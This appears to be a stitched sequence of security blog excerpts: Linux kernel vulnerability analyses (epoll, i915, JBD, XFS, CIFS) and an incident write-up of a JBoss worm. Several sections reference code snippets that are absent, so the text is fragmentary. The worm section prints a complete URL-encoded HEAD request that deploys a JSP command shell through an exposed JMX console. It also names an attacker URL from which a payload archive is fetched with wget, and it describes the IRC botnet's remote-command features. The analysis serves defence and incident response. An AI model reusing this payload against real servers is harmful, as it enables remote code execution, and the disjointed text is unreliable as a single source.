However, if this check fails it will set the ‘error’ to ‘-ELOOP’ and move to the ep_loop_check() which verifies that no closed loop or deep chains will be created by adding the passed epoll file. If this fails it will jump to ‘error_tgt_fput’ to unlock and exit.
As Yurij M. Plotnikov pointed out, this code does not clear ‘tfile_check_list’ resulting in leaving open the file descriptors. The patch was to add the missing call.

At the end of the loop, it attempts to close all of the opened file descriptors and wait for 1 second until the next iteration.

As you can see, the last calls to epoll_ctl(2) system call were passing file descriptors which were pointing to each other. This leads to a loop resulting in reaching the vulnerable code and since the file descriptors are not properly closed, it will eventually lead to a kernel soft lockup after a couple of iterations.

A few days ago I was checking the ChangeLog of 3.3.5 release of the Linux kernel. As you can see the issues were reported by Xi Wang and the exact code for the first vulnreability is located at drivers/gpu/drm/i915/i915_gem_execbuffer.c and below you can see the code snippet.

Clearly, the above kmalloc() could result in an integer overflow on 32-bit systems if the user controlled ‘args->num_cliprects’ (controlled through IOCTL) is large enough. Here you can also see how ‘drm_i915_gem_execbuffer2’ structure is defined in include/drm/i915_drm.h header file.

Here we have an identical possible integer overflow on the kmalloc() call that uses the user controlled ‘args->buffer_count’ (once again controlled through IOCTL). The fix was to add the missing checks.

Recently a friend of mine called me to investigate a hacked development server he had for some JBoss application development. I didn’t have enough time so I just cleaned up the server since it was an automated attack and informed him of its status.

Now that I found some time I can write this blog post. Just for clarification, if this was a 0day or some sophisticated hack I would never disclose any information, but since this is a very common, already known, automated attack I’m publishing this blog post.

After logging into the server it was pretty obvious that this was either a script kiddie or an automated/worm/virus attack just by checking the running processes with ‘ps’.

The first thing I did was to download a.tar.gz on my workstation in order to check it out. From a quick look at this it doesn’t seem like a serious hack. As I said earlier, it’s either a script kiddie or almost certainly some automated attack. The obvious thing to check next based on the simplicity of the attack is how it re-spawns new processes to download the new binaries and execute them.

A quick look in ‘/var/spool/cron/javadev’ file reveals the following cronjobs for the unprivileged user that was running the JBoss Application Server…

This is a very straightforward botnet client code that follows this algorithm:
1) Set username to efd[]
2) Obtain randomly a server of the ones defined in @sops if not hardcoded
3) Wait for 3 seconds and open a connection to this server on port 8080/tcp
4) Send an HTTP POST request (probably used for identification by the server to enable IRC communication)
5) Send NICK IRC command to set the previously defined username
6) Enter the IRC main loop
7) If you receive a PING respond with a PONG to keep the IRC connection alive
8) If you reveive a “welcome” message, join IRC channel #jbs and send the ‘uname -a’ output (with no spaces or new lines)
9) If you receive a message from user ‘iseee’ in the format of “.rsh [command]”, execute it in a shell and send back the output
10) If you receive a message from user ‘iseee’ in the format of “.get [URL] [times]”, download using ‘curl’ or ‘wget’ the provided URL and send back the location of the file
11) If you receive a message from user ‘iseee’ in the format of “.post [URL] [Bytes]”, connect to the given URL on port 80/tcp and send a HTTP POST request with “Content-Length” of the number of Bytes given in the IRC message

This overall simple IRC botnet client is executed through CRON so at least now we know what we are dealing with. Unfortunately, determining how the attacker got access was difficult since JBoss didn’t have any logging (it was just a development server).
However, from personal experience I was fairly convienced that this was the all time classic CVE-2010-0738 and a quick look in /home/javadev/jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml proves me right…

<!-- A security constraint that restricts access to the HTML JMX console
to users with the role JBossAdmin. Edit the roles to what you want and
uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
secured access to the HTML JMX console. -->
<security-constraint>
<web-resource-collection>
<web-resource-name>HtmlAdaptor</web-resource-name>
<description>An example security config that only allows users with the
role JBossAdmin to access the HTML JMX console web application
</description>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
<realm-name>JBoss JMX Console</realm-name>
</login-config>

Using the information of ‘ps’ shown in the beginning we can see that it follows this order:
1) Make directory named ‘…’ in hacked user’s home directory and move to that directory
2) Download ‘a.tar.gz’ from http://myiphone.dyndns-pics.com/a.tar.gz using ‘wget’
3) Extract ‘a.tar.gz’ to ‘xzf’ directory
4) Execute ‘alfa.sh’ shell script

Based on this we will first have to take a look at ‘alfa.sh’ shell script.

And if you don’t want to read the code, here is what it does:
1) It executes ‘treat.sh’ as a background process
2) If ‘/usr/local/bin/javad’ is already running, it exits
3) Executes Perl script ‘fix.pl’ as a background process
4) Compiles the C files using the included ‘Makefile’ (this time for Linux (see ‘lnx’ argument))
5) Removes ‘*.tar.gz’, ‘treat.sh’, ‘*.tar.gz.*’, ‘b.pl’ and ‘alfa.sh’ files
6) Runs ‘pns’ with options ‘-r JBoss’ (search for this response string), ‘-w “HEAD HTTP/1.0″‘ (write this request string), ‘-t 6100’ (connect/read/write time-out in milliseconds) on ports either 80 or 8080 (randomly selected) against hosts XXX.XXX.0.0/16 where XXX is a random integer from 0 to 255 and saves the result to ‘/tmp/sess_0088025413980486928597bfXXX’ where XXX is a random integer from 0 to 255.
7) Parses the output file
8) If it finds a vulnerable host, it is attacking to it by sending the malicious HEAD request to its JMX console
9) If the server responds with a 200 or 500 code, then sends a ‘GET /zecmd/zecmd.jsp’ request to see if it was successfully infected
10) If this is the case, it uses ‘comments’ parameter to download, extract and execute ‘a.tar.gz’ to the remote host as it did on this one

This means that in order to better understand the worm we have to first see what ‘treat.sh’ shell script does. Again, the script was slightly modified/obfuscated but nothing really special. Here is the de-obfuscated ‘treat.sh’ shell script.

And here is what this one does:
1) Constructs file ‘sysdbss.c’
2) File ‘fix.pl’ is copied to ‘~/.sysync.pl’ and the latter file’s permissions are changed to be executable
3) The cronjobs (we saw earlier) is prepared and installed in cron (temporarily stored in /tmp/myc)
4) ‘sysdbss.c’ is compiled using gcc and installed in ‘~/.sysdb’
5) All the temporary files and initial scripts are removed

By now we know exactly what files have been altered, how was our system infected as well as how the worm is spreading and what is used for. However, we still miss some crucial points. Let’s see how the vulenrability was exploited. We have the malicious HTTP payload which is URL encoded. Here is the encoded one:

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n

It’s a call to invokeOpByName() routine with request type of “DeploymentFileRepository” in order to deploy a new WAR file named ‘zecmd.war’ that includes a JSP web page named ‘zecmd.jsp’ which is a common JSP based shell that executes anything passed to it through “comment” parameter. This is using the misconfigured JMX console we saw earlier to execute this HEAD request and install this JSP backdoor.

Now that we also know exactly how system was exploited the only thing left is to check out the rest of the files that are used in this worm. Just for reference, here is the ‘Makefile’ used to compile the C programs included in the TAR archive.

This issue was originally reported by Eryu Guan and affects the Linux kernel’s Journaling Block Device (JBD). The buggy code resides fs/jbd/checkpoint.c. More specifically in the following routine.

/*
* Check the list of checkpoint transactions for the journal to see if
* we have already got rid of any since the last update of the log tail
* in the journal superblock. If so, we can instantly roll the
* superblock forward to remove those transactions from the log.
*
* Return <0 on error, 0 on success, 1 if there was nothing to clean up.
*
* Called with the journal lock held.
*
* This is the only part of the journaling code which really needs to be
* aware of transaction aborts. Checkpointing involves writing to the
* main filesystem area rather than to the journal, so it can proceed
* even in abort state, but we must not update the super block if
* checkpointing may have failed. Otherwise, we would lose some metadata
* buffers which should be written-back to the filesystem.
*/
int cleanup_journal_tail(journal_t *journal)
{
transaction_t * transaction;
tid_t first_tid;
unsigned int blocknr, freed;
...
if (transaction) {
...
blocknr = transaction->t_log_start;
...
}
spin_unlock(&journal->j_list_lock);
J_ASSERT(blocknr != 0);
...
return 0;
}

As Eryu Guan pointed out, using a corrupted EXT3 or EXT4 image with ‘s_first’ value equal to 0 you can reach the J_ASSERT() you see above through journal_reset(). So, the patch was to add some checks on fs/jbd/journal.c and fs/jbd2/journal.c for JBD and JBD2 respectively in order to check explicitly ‘s_first’ value in journal_get_superblock() routine.

This interesting vulnerability was recently reported by Carlos Maiolino on xfs mailing list. This vulnerability becomes critical on kernels that do not have ‘CONFIG_XFS_DEBUG’ option enabled and we will see now why.
The bug is part of fs/xfs/xfs_vnodeops.c file in the C routine you see below.

As you can see, there are two ASSERT() calls to ensure that the file is a symbolic link and that it does not exceed the ‘MAXPATHLEN’ length. However, if the kernel is not compiled with ‘CONFIG_XFS_DEBUG’ and a symbolic link longer than ‘MAXPATHLEN’ is used on an XFS image, then the two ASSERT() checks won’t be executed and the subsequent memcpy() call will result in heap memory corruption since ‘pathlen’ is initialized directly with the file’s size via ‘ip->i_d.di_size’ variable.

So, in both cases structures have two additional Bytes for alignment. However, since it was not specified, a user could obtain these padding Bytes from the contents of the memory after each structure. The two routines that could be used for this purpose are part of net/packet/af_packet.c source code file and are shown below.

From the given code snippet you can see that ‘name_len’ is declared as signed integer and it is initialized with the value of ‘psrch_inf->resume_name_len’ which is unsigned integer as we can see in fs/cifs/cifsglob.h header file where it is defined.

/*
* One of these for each open instance of a file
*/
struct cifs_search_info {
...
unsigned int resume_name_len;
...
};

Also, as Jeff Layton pointed out in some cases this value is derived directly from the server making this vulnerability a remote security hole. Back to the code snippet of CIFSFindNext() and assuming that the value of ‘name_len’ is large enough to make it look like a negative number, it could bypass the ‘if’ check with ‘PATH_MAX’ which is defined in include/linux/limits.h header file.

#define PATH_MAX 4096 /* # chars in a path name including nul */

And thus, lead to the memcpy() call using a huge value, the unsigned value of ‘name_len’, for the number of Bytes to copy. So, this vulnerability potentially leads to remote memory corruption.
Of course, the fix was to change the data type of the aforementioned variable as you can see in the below diff file.